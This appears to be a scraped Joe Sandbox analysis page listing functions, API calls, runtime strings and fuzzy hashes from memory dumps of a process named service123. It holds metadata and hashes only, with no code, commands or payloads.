Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa25b7fb93037b10c8caa97f0938a4484644e8465aafbd6ad657704f258947a0
Instruction ID: eb4a4c9ddc4c011689769240a9f396abce116bcf1a4b277e99e9c2104ea9a89e
Opcode Fuzzy Hash: fa25b7fb93037b10c8caa97f0938a4484644e8465aafbd6ad657704f258947a0
Instruction Fuzzy Hash: 0901F530B042045BDB04AF39E880A59BBE4EF0925CF544468DC81DB741C772E416CFE1

Function 6C3598F3 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5ff9e41fb0890535b449fff6c5b3b0672c21ebef980becab22b9ee3db638efc
Instruction ID: 8520f4d7613ab3649521daf58737e3ffcb0e4d1727a1537fe407d7b16d1511be
Opcode Fuzzy Hash: a5ff9e41fb0890535b449fff6c5b3b0672c21ebef980becab22b9ee3db638efc
Instruction Fuzzy Hash: 5D1130B65002008FDB50AF65D48639ABBB4FF44314F05C0A8CD489F75ACB799819CFE6

Function 6C35D67A Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e067d79dc18f7d3eb8c041c0495b14bd674941e47022cbeb93acba0a9dbd516e
Instruction ID: d6587e78be1f9179db1b6b793267a4da950e35da4f7ebe6e1dd013067f8f6c97
Opcode Fuzzy Hash: e067d79dc18f7d3eb8c041c0495b14bd674941e47022cbeb93acba0a9dbd516e
Instruction Fuzzy Hash: 1211F8B09053099FC700EF68C58479AFBF0BF05328F108A58D8955B395C371E495CBD1

Function 6C35D67E Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5d9bbf1aa0fd6012e849dcf4f087e9b7452e6d8726534b2e1b66940cc5e37c1
Instruction ID: fbd08f061606330eb707945e10e0052b976befee13245282f7562995a71100d9
Opcode Fuzzy Hash: f5d9bbf1aa0fd6012e849dcf4f087e9b7452e6d8726534b2e1b66940cc5e37c1
Instruction Fuzzy Hash: 5511E5B49053099FD700DF68C58479AFBF0BB09328F108A58E9A49B396D371E895CBE1

Function 6C30DCA0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99de5cc0d1ce9640b811df360394d1213b28f2b1cfdec8e59a5f7edf2603e39d
Instruction ID: 0a257f212a3080557bdebb13f0b7c31d591af76b2ee0097b1b0a4cf6a70add04
Opcode Fuzzy Hash: 99de5cc0d1ce9640b811df360394d1213b28f2b1cfdec8e59a5f7edf2603e39d
Instruction Fuzzy Hash: 81F01C36B441009F8700FF3CC68051AF7F0A745210F84D95CE898C3206E339E1148FA6

Function 6C3638C0 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be1c9be98ec900e331b81e95a2ce2fba33a1ec16b70dc9a7714f7f40d51acb5e
Instruction ID: 450f0eed25234080ae5cb03abcc80e2b0781de844b3c0ed08eb167374bd6ffc2
Opcode Fuzzy Hash: be1c9be98ec900e331b81e95a2ce2fba33a1ec16b70dc9a7714f7f40d51acb5e
Instruction Fuzzy Hash: 89E0ED70F441509F9701FF7AC6C444EFBF1A74A214B40DA2CE89993B09E731E4188FA6

Function 6C35C2DE Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f883fd050c90c2fb791edd7b9c44428a2e5c9f52e66aaa21bbfe7926e905ce08
Instruction ID: cb13e7e72c0d9b3fea765f9b5027e76a79380e688866510796e1a5b531a17b70
Opcode Fuzzy Hash: f883fd050c90c2fb791edd7b9c44428a2e5c9f52e66aaa21bbfe7926e905ce08
Instruction Fuzzy Hash: 98F090B1A097448FC710BF38908496AFBE0BB0E608F41496DD8D5A7B01D234E9148F92

Function 6C363D10 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d2c69b488dda337d8cc2b7a5a0c93c4b31ebb7b804abb1ff28c2428af5e37fd
Instruction ID: 7402bef35bf685a1ce65a6dfae08ebab3885428f67091e660fdc65a5c20017f1
Opcode Fuzzy Hash: 7d2c69b488dda337d8cc2b7a5a0c93c4b31ebb7b804abb1ff28c2428af5e37fd
Instruction Fuzzy Hash: FFF01772F481109F9B05FE3C85C045AF7F4A74A218B44C52EE85987705E631A8148EB6

Function 6C30C470 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fca27cc0c2c4fc7d738d07e22c75ce60e211d386b0f5a6fc29048be61f8db387
Instruction ID: 5f2f98782d5c7bafd9c958aa3713e319099b94b253c98951ceb3a90062d7cdc9
Opcode Fuzzy Hash: fca27cc0c2c4fc7d738d07e22c75ce60e211d386b0f5a6fc29048be61f8db387
Instruction Fuzzy Hash: C4C012B0C087808AC200BF38910A228BAB06F62208F882CACD48423B55E735C01C8A5B

Function 6C30E500 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 130fileCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C30E571
fwrite.MSVCRT ref: 6C30E618
fputs.MSVCRT ref: 6C30E635
fwrite.MSVCRT ref: 6C30E65E
fputs.MSVCRT ref: 6C30E67D
fwrite.MSVCRT ref: 6C30E6AC
fwrite.MSVCRT ref: 6C30E6DE
abort.MSVCRT ref: 6C30E6E3
abort.MSVCRT ref: 6C3C05C3
free.MSVCRT ref: 6C3C05CB

Part of subcall function 6C2FA220: strlen.MSVCRT ref: 6C2FA2A5
Part of subcall function 6C2FA220: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,6C30E5EC), ref: 6C2FA2C0
Part of subcall function 6C2FA220: free.MSVCRT ref: 6C2FA2CA

Strings

terminate called after throwing an instance of ', xrefs: 6C30E611
terminate called without an active exception, xrefs: 6C30E6A5
-, xrefs: 6C30E691
not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): , xrefs: 6C30E519

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: fwrite$abortfputsfreememcpy$strlen
String ID: -$not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): $terminate called after throwing an instance of '$terminate called without an active exception
API String ID: 4144276882-4175505668
Opcode ID: 21432d6fe81c4fe46fea5b233996dac277ebd094dba0255513f8e5170c105fec
Instruction ID: 48b6bc261cbcfd035cfcc5bf4f3a671b7418698a1699845eaeb9039987b71861
Opcode Fuzzy Hash: 21432d6fe81c4fe46fea5b233996dac277ebd094dba0255513f8e5170c105fec
Instruction Fuzzy Hash: E95118B5A083089FD700AF65C48879EBBF4AF85318F01891DE4D48B741DB799988CF93

Function 6C2FA570 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 6C2FA59F
vfprintf.MSVCRT ref: 6C2FA5BF
abort.MSVCRT ref: 6C2FA5C4
VirtualQuery.KERNEL32 ref: 6C2FA65B

Strings

Address %p has no image-section, xrefs: 6C2FA71B
VirtualQuery failed for %d bytes at address %p, xrefs: 6C2FA707
VirtualProtect failed with code 0x%x, xrefs: 6C2FA6D6
Mingw-w64 runtime failure:, xrefs: 6C2FA598

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: QueryVirtualabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 2513968241-1534286854
Opcode ID: a41a431c4eda6c2db6884a498adfca5a5e3580684bbadb455f3bd415e30edaeb
Instruction ID: b4de58c883d21a249762a3d304d06aed01790c3d19eafa8064cc8690617a5b6b
Opcode Fuzzy Hash: a41a431c4eda6c2db6884a498adfca5a5e3580684bbadb455f3bd415e30edaeb
Instruction Fuzzy Hash: B9512BB2A44309CFC700EF29C58565AFBF4FF85318F55892CE99897714E734E8498B92

Function 004B1970 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 004B199F
vfprintf.MSVCRT ref: 004B19BF
abort.MSVCRT ref: 004B19C4
VirtualQuery.KERNEL32 ref: 004B1A5B

Strings

Address %p has no image-section, xrefs: 004B1B1B
VirtualProtect failed with code 0x%x, xrefs: 004B1AD6
Mingw-w64 runtime failure:, xrefs: 004B1998
VirtualQuery failed for %d bytes at address %p, xrefs: 004B1B07

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: QueryVirtualabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 2513968241-1534286854
Opcode ID: 3961674fef03ca1413e17cb53f687d7b6f6b8b3bada720f64c77175f8f4a5407
Instruction ID: 8498dea3e1022db0411da6de56f065f584d7a6d0e3206e47c8e8eab2cc6f9fa5
Opcode Fuzzy Hash: 3961674fef03ca1413e17cb53f687d7b6f6b8b3bada720f64c77175f8f4a5407
Instruction Fuzzy Hash: 675151B15043019FC704EF69D98569AFBE0FF84354F45CA6EE48897325E338E845CBAA

Function 6C30ABD1 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 6C30ABF0
GetProcAddress.KERNEL32 ref: 6C30AC0A
LoadLibraryW.KERNEL32 ref: 6C30AC2F
GetProcAddress.KERNEL32 ref: 6C30AC43

Strings

SystemFunction036, xrefs: 6C30AC38
advapi32.dll, xrefs: 6C30AC28
rand_s, xrefs: 6C30ABFF
msvcrt.dll, xrefs: 6C30ABE5

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: SystemFunction036$advapi32.dll$msvcrt.dll$rand_s
API String ID: 384173800-4041758303
Opcode ID: 6db010ea30d58533ef7defb3db26b9b12e241489a489764a68b7fd581f46b4bf
Instruction ID: 040cb7acf064c0009895b85ab1157485b066a1963079fdc21c2eb8bd970ad308
Opcode Fuzzy Hash: 6db010ea30d58533ef7defb3db26b9b12e241489a489764a68b7fd581f46b4bf
Instruction Fuzzy Hash: 1EF03CB6A453408FCA00FF38994625EBFB4BB06304F41092DE9C597600D734A814CF93

Function 6C319510 Relevance: 13.7, APIs: 6, Strings: 3, Instructions: 243stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 6C319573
strlen.MSVCRT ref: 6C3195A1
strlen.MSVCRT ref: 6C3195FE
strlen.MSVCRT ref: 6C319665
strlen.MSVCRT ref: 6C3196CA
strlen.MSVCRT ref: 6C31977E

Strings

basic_string::append, xrefs: 6C31983A, 6C319846, 6C319852, 6C31985E
|6l, xrefs: 6C3BF0EF
*, xrefs: 6C3197D0

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen$strcmp
String ID: *$basic_string::append$|6l
API String ID: 551667898-2061059300
Opcode ID: f73a1041708c8a7f11d91e41c2d6f2ce55a38d223b32641a6a14be2849f78fa0
Instruction ID: 5eae1e4a333a50e3d76211114aa3198ee9b5c3c3d3cd3b0ce66e5c7511e2e7d0
Opcode Fuzzy Hash: f73a1041708c8a7f11d91e41c2d6f2ce55a38d223b32641a6a14be2849f78fa0
Instruction Fuzzy Hash: 7DA10775A08701CFDB04EF28C48075EBBE1AF89318F11896DD8989BB45D735E949CF92

Function 6C38F0D0 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6C38F179
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C32DF0E), ref: 6C38F1A4
memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C32DF0E), ref: 6C38F201
memmove.MSVCRT ref: 6C38F239
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C32DF0E), ref: 6C38F294

Strings

basic_string::_M_replace, xrefs: 6C38F411

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memmove$memcpy
String ID: basic_string::_M_replace
API String ID: 3033661859-2323331477
Opcode ID: 0e85cb05344a79475a3ccb3ff72de80fa513a8b76a5ffe55132935c8a4c9502c
Instruction ID: 06b7cb29b4df9805e333e406773ee30f8c68945df1fe037398c6c6b169b41708
Opcode Fuzzy Hash: 0e85cb05344a79475a3ccb3ff72de80fa513a8b76a5ffe55132935c8a4c9502c
Instruction Fuzzy Hash: 57A1057590A3558FC700DF68D08056EBBE1BF89358F208A6EE8C897720E775D985CF92

Function 6C38AEA0 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 212COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6C38AF46
memcpy.MSVCRT(?), ref: 6C38AF70
memmove.MSVCRT(?), ref: 6C38AFC8
memmove.MSVCRT ref: 6C38B003
memcpy.MSVCRT(?), ref: 6C38B056

Strings

basic_string::_M_replace, xrefs: 6C38B1A4

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memmove$memcpy
String ID: basic_string::_M_replace
API String ID: 3033661859-2323331477
Opcode ID: ad4580dcb75cc9f36eab3b44fd87657983f0adfaf55cc0acdd0f3576dbbaae82
Instruction ID: d7133c4b480e8b4d66bb04587f74cd4a3481287bf0038573e8dc457e9fb65f8b
Opcode Fuzzy Hash: ad4580dcb75cc9f36eab3b44fd87657983f0adfaf55cc0acdd0f3576dbbaae82
Instruction Fuzzy Hash: E68149B1A0A3919FC301CF28C88051EFBE1BF8A348F14895EE8D89B765D675D944CF92

Function 6C2F1400 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 6C2F1410
LoadLibraryA.KERNEL32 ref: 6C2F1426
GetProcAddress.KERNEL32 ref: 6C2F1445
GetProcAddress.KERNEL32 ref: 6C2F1457

Strings

__deregister_frame_info, xrefs: 6C2F144C
libgcc_s_dw2-1.dll, xrefs: 6C2F1409, 6C2F141F
__register_frame_info, xrefs: 6C2F143A

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: __deregister_frame_info$__register_frame_info$libgcc_s_dw2-1.dll
API String ID: 384173800-1835852900
Opcode ID: a501d984135428e82c5cc34de7381195a76524eb8f47591a8e464e9f6dda586e
Instruction ID: 47245faf31e69f487b4a4ba86004bc66c03bbc4f1b4b481394a3038a7e6a6c2e
Opcode Fuzzy Hash: a501d984135428e82c5cc34de7381195a76524eb8f47591a8e464e9f6dda586e
Instruction Fuzzy Hash: 6501DEB2A4932C8BCB00BFB8950725EFFF4AA82245F42482DDDE447A10D3729854CF93

Function 004B14F0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 004B1500
LoadLibraryA.KERNEL32 ref: 004B1516
GetProcAddress.KERNEL32 ref: 004B1535
GetProcAddress.KERNEL32 ref: 004B1547

Strings

__register_frame_info, xrefs: 004B152A
__deregister_frame_info, xrefs: 004B153C
libgcc_s_dw2-1.dll, xrefs: 004B14F9, 004B150F

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
